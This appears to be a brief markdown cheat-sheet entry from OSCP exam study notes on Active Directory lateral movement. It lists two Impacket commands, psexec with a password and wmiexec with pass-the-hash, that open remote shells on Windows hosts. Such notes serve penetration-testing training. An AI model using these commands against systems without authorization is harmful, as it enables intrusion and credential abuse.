oscp/Windows/Active Directory for OSCP/Lateral Movement/Interactive Shell.md

impacket-psexec <domain>/<user>:<password>@<ip>
impacket-wmiexec -hashes <hash> htb.local/administrator@<ip>